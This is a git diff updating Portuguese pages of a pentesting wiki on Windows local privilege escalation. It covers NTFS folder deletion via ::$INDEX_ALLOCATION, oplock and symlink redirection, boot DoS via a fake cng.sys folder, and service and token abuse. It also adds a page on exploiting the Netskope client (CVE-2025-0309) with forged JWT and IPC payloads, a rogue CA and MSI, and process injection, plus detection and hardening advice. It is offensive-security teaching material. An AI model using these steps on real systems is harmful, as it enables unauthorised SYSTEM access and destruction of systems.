file deletion**? +A técnica principal de rollback de MSI (a anterior) assume que você pode deletar uma **pasta inteira** (ex.: `C:\Config.Msi`). Mas e se sua vulnerabilidade permitir apenas **arbitrary file deletion**? -Você poderia explorar os internals do NTFS: cada pasta tem um fluxo de dados alternativo oculto chamado: +Você pode explorar os **internals do NTFS**: cada pasta tem um fluxo de dados alternativo oculto chamado: ``` C:\SomeFolder::$INDEX_ALLOCATION ``` -Este fluxo armazena os **metadados de índice** da pasta. +Este stream armazena os **metadados de índice** da pasta. -Portanto, se você **excluir o fluxo `::$INDEX_ALLOCATION`** de uma pasta, o NTFS **remove a pasta inteira** do sistema de arquivos. +Portanto, se você **excluir o stream `::$INDEX_ALLOCATION`** de uma pasta, NTFS **remove a pasta inteira** do sistema de arquivos. Você pode fazer isso usando APIs padrão de exclusão de arquivos como: ```c @@ -1460,22 +1472,22 @@ DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION"); ### De Folder Contents Delete para SYSTEM EoP E se sua primitiva não permitir que você exclua arquivos/pastas arbitrárias, mas ela **permite a exclusão do *conteúdo* de uma pasta controlada pelo atacante**? -1. Passo 1: Configure uma pasta e um arquivo de isca -- Criar: `C:\temp\folder1` -- Dentro dela: `C:\temp\folder1\file1.txt` +1. Passo 1: Prepare uma pasta e um arquivo de isca +- Create: `C:\temp\folder1` +- Inside it: `C:\temp\folder1\file1.txt` 2. Passo 2: Coloque um **oplock** em `file1.txt` -- O oplock **pausa a execução** quando um processo privilegiado tenta excluir `file1.txt`. +- O **oplock** **pausa a execução** quando um processo privilegiado tenta excluir `file1.txt`. ```c // pseudo-code RequestOplock("C:\\temp\\folder1\\file1.txt"); WaitForDeleteToTriggerOplock(); ``` -3. Passo 3: Acionar o processo SYSTEM (por exemplo, `SilentCleanup`) -- Esse processo verifica pastas (por exemplo, `%TEMP%`) e tenta excluir seu conteúdo. -- Quando atingir `file1.txt`, o **oplock dispara** e entrega o controle ao seu callback. +3. Etapa 3: Acionar processo SYSTEM (por exemplo, `SilentCleanup`) +- Esse processo percorre pastas (por exemplo, `%TEMP%`) e tenta excluir seu conteúdo. +- Quando alcança `file1.txt`, o **oplock triggers** e entrega o controle para seu callback. -4. Passo 4: Dentro do callback do oplock – redirecionar a exclusão +4. Etapa 4: Dentro do oplock callback – redirecionar a exclusão - Opção A: Mover `file1.txt` para outro local - Isso esvazia `folder1` sem quebrar o oplock. @@ -1493,44 +1505,44 @@ CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION") ``` > Isso mira o stream interno do NTFS que armazena metadados da pasta — excluí-lo exclui a pasta. -5. Passo 5: Liberar o oplock +5. Etapa 5: Liberar o oplock - O processo SYSTEM continua e tenta excluir `file1.txt`. -- Mas agora, devido ao junction + symlink, na verdade está excluindo: +- Mas agora, devido à junction + symlink, ele na verdade está excluindo: ``` C:\Config.Msi::$INDEX_ALLOCATION ``` -**Resultado**: `C:\Config.Msi` é excluído por SYSTEM. +**Resultado**: `C:\Config.Msi` é excluído pelo SYSTEM. -### De Arbitrary Folder Create para DoS Permanente +### De criação arbitrária de pasta para DoS permanente -Exploit um primitivo que permite que você **create an arbitrary folder as SYSTEM/admin** — mesmo que **you can’t write files** ou **set weak permissions**. +Exploit a primitive that lets you **crie uma pasta arbitrária como SYSTEM/admin** — mesmo se **você não puder gravar arquivos** ou **definir permissões fracas**. -Crie uma **folder** (not a file) com o nome de um **critical Windows driver**, por exemplo: +Crie uma **pasta** (não um arquivo) com o nome de um **driver crítico do Windows**, por exemplo: ``` C:\Windows\System32\cng.sys ``` - Esse caminho normalmente corresponde ao driver em modo kernel `cng.sys`. -- Se você **pré-criá-lo como uma pasta**, o Windows falha ao carregar o driver real na inicialização. +- Se você **o criar previamente como uma pasta**, o Windows falha ao carregar o driver real na inicialização. - Então, o Windows tenta carregar `cng.sys` durante a inicialização. -- Ele vê a pasta, **falha ao resolver/carregar o driver real**, e **trava ou interrompe a inicialização**. +- Ele vê a pasta, **falha ao resolver o driver real**, e **trava ou interrompe a inicialização**. - Não há **fallback**, e **nenhuma recuperação** sem intervenção externa (por exemplo, reparo de inicialização ou acesso ao disco). -## **De Alta Integridade para SYSTEM** +## **De High Integrity para SYSTEM** ### **Novo serviço** -Se você já está executando em um processo de Alta Integridade, o **caminho para SYSTEM** pode ser simples apenas **criando e executando um novo serviço**: +Se você já está executando um processo High Integrity, o **caminho para SYSTEM** pode ser simples apenas **criando e executando um novo serviço**: ``` sc create newservicename binPath= "C:\windows\system32\notepad.exe" sc start newservicename ``` > [!TIP] -> Ao criar um binário de serviço, certifique-se de que seja um serviço válido ou de que o binário execute as ações necessárias rapidamente, pois será encerrado em 20s se não for um serviço válido. +> Ao criar um binário de serviço, certifique-se de que seja um serviço válido ou que o binário execute as ações necessárias rapidamente, pois ele será encerrado em 20s se não for um serviço válido. ### AlwaysInstallElevated -A partir de um processo High Integrity você pode tentar **ativar as entradas de registro AlwaysInstallElevated** e **instalar** um reverse shell usando um wrapper _**.msi**_.\ +A partir de um processo de alta integridade você pode tentar **habilitar as entradas de registro AlwaysInstallElevated** e **instalar** um reverse shell usando um wrapper _**.msi**_.\ [Mais informações sobre as chaves de registro envolvidas e como instalar um pacote _.msi_ aqui.](#alwaysinstallelevated) ### High + SeImpersonate privilege to System @@ -1539,19 +1551,19 @@ A partir de um processo High Integrity você pode tentar **ativar as entradas de ### From SeDebug + SeImpersonate to Full Token privileges -Se você tiver esses privilégios de token (provavelmente encontrará isso em um processo já High Integrity), você poderá **abrir quase qualquer processo** (não processos protegidos) com o privilégio SeDebug, **copiar o token** do processo e criar um **processo arbitrário com esse token**.\ -Ao usar essa técnica geralmente se **seleciona qualquer processo em execução como SYSTEM com todos os privilégios de token** (_sim, você pode encontrar processos SYSTEM sem todos os privilégios de token_).\ -**Você pode encontrar um** [**exemplo de código executando a técnica proposta aqui**](sedebug-+-seimpersonate-copy-token.md)**.** +Se você tiver esses privilégios de token (provavelmente os encontrará em um processo já de alta integridade), será capaz de **abrir quase qualquer processo** (processos não protegidos) com o privilégio SeDebug, **copiar o token** do processo e criar um **processo arbitrário com esse token**.\ +O uso desta técnica geralmente envolve **selecionar qualquer processo executando como SYSTEM com todos os privilégios de token** (_sim, você pode encontrar processos SYSTEM sem todos os privilégios de token_).\ +**Você pode encontrar um** [**exemplo de código que executa a técnica proposta aqui**](sedebug-+-seimpersonate-copy-token.md)**.** ### **Named Pipes** -Essa técnica é usada pelo meterpreter para escalar em `getsystem`. A técnica consiste em **criar um pipe e então criar/abusar de um service para escrever nesse pipe**. Então, o **servidor** que criou o pipe usando o privilégio **`SeImpersonate`** será capaz de **impersonar o token** do cliente do pipe (o service) obtendo privilégios SYSTEM.\ -Se quiser [**saber mais sobre named pipes você deve ler isto**](#named-pipe-client-impersonation).\ -Se quiser ler um exemplo de [**como ir de high integrity para System usando named pipes leia isto**](from-high-integrity-to-system-with-name-pipes.md). +Essa técnica é usada pelo meterpreter para escalar com `getsystem`. A técnica consiste em **criar um pipe e então criar/abusar de um serviço para escrever nesse pipe**. Em seguida, o **servidor** que criou o pipe usando o privilégio **`SeImpersonate`** poderá **assumir o token** do cliente do pipe (o serviço), obtendo privilégios SYSTEM.\ +Se você quiser [**aprender mais sobre named pipes deve ler isto**](#named-pipe-client-impersonation).\ +Se você quiser ler um exemplo de [**como ir de alta integridade para System usando named pipes deve ler isto**](from-high-integrity-to-system-with-name-pipes.md). ### Dll Hijacking -Se você conseguir **hijackar uma dll** que esteja sendo **carregada** por um **processo** em execução como **SYSTEM**, você poderá executar código arbitrário com essas permissões. Portanto, Dll Hijacking também é útil para esse tipo de escalada de privilégio e, além disso, é muito **mais fácil de alcançar a partir de um processo high integrity**, já que ele terá **permissões de escrita** nas pastas usadas para carregar dlls.\ +Se você conseguir **sequestrar uma dll** que esteja sendo **carregada** por um **processo** executando como **SYSTEM**, será capaz de executar código arbitrário com essas permissões. Portanto, Dll Hijacking também é útil para esse tipo de escalada de privilégios e, além disso, é **muito mais fácil de alcançar a partir de um processo de alta integridade**, pois este terá **permissões de escrita** nas pastas usadas para carregar dlls.\ **Você pode** [**aprender mais sobre Dll hijacking aqui**](dll-hijacking/index.html)**.** ### **From Administrator or Network Service to System** @@ -1566,34 +1578,34 @@ Se você conseguir **hijackar uma dll** que esteja sendo **carregada** por um ** ## Mais ajuda -[Binários estáticos do impacket](https://github.com/ropnop/impacket_static_binaries) +[Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) ## Ferramentas úteis -**Melhor ferramenta para procurar vetores de escalada de privilégio local no Windows:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) +**Melhor ferramenta para procurar vetores de escalada de privilégios locais no Windows:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) **PS** [**PrivescCheck**](https://github.com/itm4n/PrivescCheck)\ -[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- Verifica por configurações incorretas e arquivos sensíveis (**[**veja aqui**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**). Detectado.**\ -[**JAWS**](https://github.com/411Hall/JAWS) **-- Verifica por algumas possíveis más configurações e coleta informações (**[**veja aqui**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**).**\ -[**privesc** ](https://github.com/enjoiz/Privesc)**-- Verifica por más configurações**\ +[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- Verifica misconfigurações e arquivos sensíveis (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**). Detectado.**\ +[**JAWS**](https://github.com/411Hall/JAWS) **-- Verifica algumas possíveis misconfigurações e coleta informações (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**).**\ +[**privesc** ](https://github.com/enjoiz/Privesc)**-- Verifica misconfigurações**\ [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- Extrai informações de sessões salvas do PuTTY, WinSCP, SuperPuTTY, FileZilla e RDP. Use -Thorough localmente.**\ [**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Extrai credenciais do Credential Manager. Detectado.**\ -[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Espalha senhas coletadas pelo domínio**\ -[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh é uma ferramenta PowerShell ADIDNS/LLMNR/mDNS/NBNS spoofer e man-in-the-middle.**\ -[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Enumeração básica para privesc no Windows**\ -[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Procura por vulnerabilidades de privesc conhecidas (DEPRECATED para Watson)\ -[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Checagens locais **(Necessita de privilégios de Admin)** +[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Faz spray com senhas coletadas pelo domínio**\ +[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh é um spoofer ADIDNS/LLMNR/mDNS/NBNS em PowerShell e ferramenta man-in-the-middle.**\ +[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Enumeração básica do Windows para privesc**\ +[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Procura por vulnerabilidades conhecidas de privesc (OBSOLETO em favor do Watson)\ +[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Checagens locais **(Precisa de direitos de Admin)** **Exe** -[**Watson**](https://github.com/rasta-mouse/Watson) -- Procura por vulnerabilidades de privesc conhecidas (precisa ser compilado usando o VisualStudio) ([**pré-compilado**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ -[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Enumera o host buscando más configurações (mais uma ferramenta de coleta de informação do que privesc) (precisa ser compilado) **(**[**pré-compilado**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ -[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Extrai credenciais de muitos softwares (exe pré-compilado no github)**\ -[**SharpUP**](https://github.com/GhostPack/SharpUp) **-- Port de PowerUp para C#**\ -[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Verifica más configurações (executável pré-compilado no github). Não recomendado. Não funciona bem no Win10.\ -[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- Verifica possíveis más configurações (exe a partir de python). Não recomendado. Não funciona bem no Win10. +[**Watson**](https://github.com/rasta-mouse/Watson) -- Procura por vulnerabilidades conhecidas de privesc (precisa ser compilado usando VisualStudio) ([**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ +[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Enumera o host procurando por misconfigurações (mais uma ferramenta de coleta de info do que de privesc) (precisa ser compilado) **(**[**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ +[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Extrai credenciais de vários softwares (exe pré-compilado no github)**\ +[**SharpUP**](https://github.com/GhostPack/SharpUp) **-- Porta do PowerUp para C#**\ +[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Verifica misconfigurações (executável pré-compilado no github). Não recomendado. Não funciona bem no Win10.\ +[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- Verifica possíveis misconfigurações (exe a partir de python). Não recomendado. Não funciona bem no Win10. **Bat** @@ -1608,7 +1620,7 @@ Se você conseguir **hijackar uma dll** que esteja sendo **carregada** por um ** _multi/recon/local_exploit_suggestor_ -Você precisa compilar o projeto usando a versão correta do .NET ([veja isto](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). Para ver a versão do .NET instalada no host vítima você pode fazer: +Você tem que compilar o projeto usando a versão correta do .NET ([see this](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). Para ver a versão do .NET instalada na máquina da vítima você pode fazer: ``` C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line ``` diff --git a/src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md b/src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md new file mode 100644 index 000000000..4a094d8df --- /dev/null +++ b/src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md @@ -0,0 +1,123 @@ +# Abusando de Auto-Updaters Empresariais e IPC Privilegiado (e.g., Netskope stAgentSvc) + +{{#include ../../banners/hacktricks-training.md}} + +Esta página generaliza uma classe de Windows local privilege escalation chains encontradas em agentes de endpoint empresariais e updaters que expõem uma superfície de IPC de baixa fricção e um fluxo de atualização privilegiado. Um exemplo representativo é o Netskope Client for Windows < R129 (CVE-2025-0309), onde um usuário com poucos privilégios pode forçar o enrollment em um servidor controlado pelo atacante e então entregar um MSI malicioso que o serviço SYSTEM instala. + +Ideias-chave reutilizáveis contra produtos similares: +- Abusar do localhost IPC de um serviço privilegiado para forçar re‑enrollment ou reconfiguração para um servidor do atacante. +- Implementar os endpoints de update do vendor, entregar um rogue Trusted Root CA, e apontar o updater para um pacote malicioso “assinado”. +- Evadir verificações de signer fracas (CN allow‑lists), flags de digest opcionais, e propriedades relaxadas de MSI. +- Se o IPC for “encrypted”, derivar a key/IV a partir de identificadores da máquina legíveis globalmente armazenados no registry. +- Se o serviço restringe callers por image path/process name, injetar em um processo allow‑listed ou spawnar um suspenso e bootstrapar sua DLL via um patch mínimo de thread‑context. + +--- +## 1) Forçando o enrollment para um servidor do atacante via localhost IPC + +Muitos agentes incluem um processo UI em user‑mode que conversa com um serviço SYSTEM via localhost TCP usando JSON. + +Observado no Netskope: +- UI: stAgentUI (low integrity) ↔ Service: stAgentSvc (SYSTEM) +- IPC command ID 148: IDP_USER_PROVISIONING_WITH_TOKEN + +Exploit flow: +1) Craft um JWT enrollment token cujas claims controlam o backend host (e.g., AddonUrl). Use alg=None para que nenhuma assinatura seja requerida. +2) Send the IPC message invoking the provisioning command with your JWT and tenant name: +```json +{ +"148": { +"idpTokenValue": "", +"tenantName": "TestOrg" +} +} +``` +3) O serviço começa a acessar seu servidor rogue para enrollment/config, por exemplo: +- /v1/externalhost?service=enrollment +- /config/user/getbrandingbyemail + +Notas: +- Se a verificação do chamador for baseada em caminho/nome, origine a requisição a partir de um allow‑listed vendor binary (veja §4). + +--- +## 2) Hijacking the update channel to run code as SYSTEM + +Uma vez que o cliente se comunique com seu servidor, implemente os endpoints esperados e direcione-o para um MSI malicioso. Sequência típica: + +1) /v2/config/org/clientconfig → Retornar configuração JSON com um intervalo do updater muito curto, por exemplo: +```json +{ +"clientUpdate": { "updateIntervalInMin": 1 }, +"check_msi_digest": false +} +``` +2) /config/ca/cert → Retorna um certificado CA em PEM. O serviço o instala no Local Machine Trusted Root store. +3) /v2/checkupdate → Fornece metadata apontando para um MSI malicioso e uma versão falsa. + +Bypassando verificações comuns observadas na prática: +- Signer CN allow‑list: o serviço pode checar apenas se o Subject CN é “netSkope Inc” ou “Netskope, Inc.”. Sua CA maliciosa pode emitir um leaf com esse CN e assinar o MSI. +- CERT_DIGEST property: inclua uma propriedade MSI benigno chamada CERT_DIGEST. Não há enforcement na instalação. +- Optional digest enforcement: flag de config (por exemplo, check_msi_digest=false) desativa validação criptográfica adicional. + +Resultado: o serviço SYSTEM instala seu MSI de +C:\ProgramData\Netskope\stAgent\data\*.msi +executando código arbitrário como NT AUTHORITY\SYSTEM. + +--- +## 3) Forging encrypted IPC requests (when present) + +A partir do R127, Netskope envolveu o JSON de IPC em um campo encryptData que parece Base64. Reversing mostrou AES com key/IV derivado de valores do registry legíveis por qualquer usuário: +- Key = HKLM\SOFTWARE\NetSkope\Provisioning\nsdeviceidnew +- IV = HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductID + +Atacantes podem reproduzir a encriptação e enviar comandos encriptados válidos a partir de um usuário padrão. Dica geral: se um agente subitamente “encriptar” seu IPC, procure device IDs, product GUIDs, install IDs em HKLM como material. + +--- +## 4) Bypassing IPC caller allow‑lists (path/name checks) + +Alguns serviços tentam autenticar o peer resolvendo o PID da conexão TCP e comparando o image path/name contra binários allow‑listados do vendor localizados em Program Files (por exemplo, stagentui.exe, bwansvc.exe, epdlp.exe). + +Dois bypasses práticos: +- DLL injection em um processo allow‑listado (ex.: nsdiag.exe) e proxy do IPC internamente. +- Spawn de um binário allow‑listado em suspended e bootstrap da sua proxy DLL sem CreateRemoteThread (see §5) para satisfazer regras de tamper impostas pelo driver. + +--- +## 5) Tamper‑protection friendly injection: suspended process + NtContinue patch + +Produtos frequentemente incluem um minifilter/OB callbacks driver (ex.: Stadrv) para remover direitos perigosos de handles para processos protegidos: +- Process: remove PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_READ, PROCESS_DUP_HANDLE, PROCESS_SUSPEND_RESUME +- Thread: restringe para THREAD_GET_CONTEXT, THREAD_QUERY_LIMITED_INFORMATION, THREAD_RESUME, SYNCHRONIZE + +Um loader user‑mode confiável que respeita essas restrições: +1) CreateProcess de um binário do vendor com CREATE_SUSPENDED. +2) Obtenha handles que ainda são permitidos: PROCESS_VM_WRITE | PROCESS_VM_OPERATION no processo, e um handle de thread com THREAD_GET_CONTEXT/THREAD_SET_CONTEXT (ou apenas THREAD_RESUME se você patchar código em um RIP conhecido). +3) Sobrescreva ntdll!NtContinue (ou outro thunk inicial garantido mapeado) com um pequeno stub que chama LoadLibraryW no caminho da sua DLL, depois retorna. +4) ResumeThread para acionar seu stub in‑process, carregando sua DLL. + +Porque você nunca usou PROCESS_CREATE_THREAD ou PROCESS_SUSPEND_RESUME em um processo já protegido (você o criou), a política do driver é satisfeita. + +--- +## 6) Practical tooling +- NachoVPN (Netskope plugin) automatiza uma rogue CA, assinatura de MSI malicioso, e serve os endpoints necessários: /v2/config/org/clientconfig, /config/ca/cert, /v2/checkupdate. +- UpSkope é um IPC client custom que cria mensagens IPC arbitrárias (opcionalmente AES‑encriptadas) e inclui a injeção por processo suspenso para originar de um binário allow‑listado. + +--- +## 7) Detection opportunities (blue team) +- Monitorar adições ao Local Machine Trusted Root. Sysmon + registry‑mod eventing (see SpecterOps guidance) funciona bem. +- Sinalizar execuções de MSI iniciadas pelo serviço do agente a partir de paths como C:\ProgramData\\\data\*.msi. +- Revisar logs do agente por hosts/tenants de enrollment inesperados, ex.: C:\ProgramData\netskope\stagent\logs\nsdebuglog.log – procure por addonUrl / tenant anomalies e provisioning msg 148. +- Alertar sobre clientes IPC localhost que não sejam os binários assinados esperados, ou que se originem de árvores de processos filhas incomuns. + +--- +## Hardening tips for vendors +- Vincular hosts de enrollment/update a uma allow‑list estrita; rejeitar domínios não confiáveis no clientcode. +- Autenticar peers de IPC com primitives do OS (ALPC security, named‑pipe SIDs) em vez de checks por image path/name. +- Manter material secreto fora de HKLM legível por todos; se o IPC precisar ser encriptado, derivar chaves de segredos protegidos ou negociar em canais autenticados. +- Tratar o updater como superfície da supply‑chain: exigir uma cadeia completa até uma CA confiável que você controla, verificar assinaturas de pacotes contra chaves pinned, e fail closed se a validação estiver desabilitada na config. + +## References +- [Advisory – Netskope Client for Windows – Local Privilege Escalation via Rogue Server (CVE-2025-0309)](https://blog.amberwolf.com/blog/2025/august/advisory---netskope-client-for-windows---local-privilege-escalation-via-rogue-server/) +- [NachoVPN – Netskope plugin](https://github.com/AmberWolfCyber/NachoVPN) +- [UpSkope – Netskope IPC client/exploit](https://github.com/AmberWolfCyber/UpSkope) +- [NVD – CVE-2025-0309](https://nvd.nist.gov/vuln/detail/CVE-2025-0309) + +{{#include ../../banners/hacktricks-training.md}}